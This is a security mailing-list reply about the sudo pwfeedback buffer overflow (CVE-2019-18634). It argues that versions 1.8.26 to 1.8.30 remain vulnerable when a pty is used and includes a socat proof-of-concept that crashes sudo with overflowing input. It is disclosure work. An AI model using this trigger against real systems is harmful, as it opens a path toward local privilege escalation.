Re: CVE-2019-18634: buffer overflow in sudo when pwfeedback is enabled

[William Bowling <will () wbowling info>]

When using a pty, sudo_term_eof and sudo_term_kill are initialized to 0x4
and 0x15 allowing the overflow to be reached, making 1.8.26-1.8.30 also
vulnerable:

$ socat pty,link=/tmp/pty,waitslave exec:"python -c
'print((\"A\"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty
[sudo] password for user1: Segmentation fault
$ sudo -V
Sudo version 1.8.30
Sudoers policy plugin version 1.8.30
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.30

- Will

On Sat, Feb 1, 2020 at 12:59 AM Todd C. Miller <Todd.Miller () sudo ws> wrote:

> On Thu, 30 Jan 2020 11:23:28 -0700, "Todd C. Miller" wrote:
>
> > Sudo versions affected:
> >
> > Sudo versions 1.7.1 to 1.8.30 inclusive are affected but only if
> > the "pwfeedback" option is enabled in sudoers.
>
> It turns out a change in EOF handling introduced in sudo 1.8.26
> prevents exploitation of the bug.  The EOF character is also
> initialized to 0 and sudo 1.8.26 checks for EOF before it checks
> for the kill character.
>
> This means that the bug actually affects sudo versions 1.7.1 to
> 1.8.25p1 inclusive.
>
> Sorry for the oversight.  I've updated the affected versions in
> https://www.sudo.ws/alerts/pwfeedback.html
>
>  - todd


-- 

GPG Key ID: 0x980F711A

GPG Key Fingerprint: AA38 2A0E 7D22 18A9 6086  0289 41DC E04B 980F 711A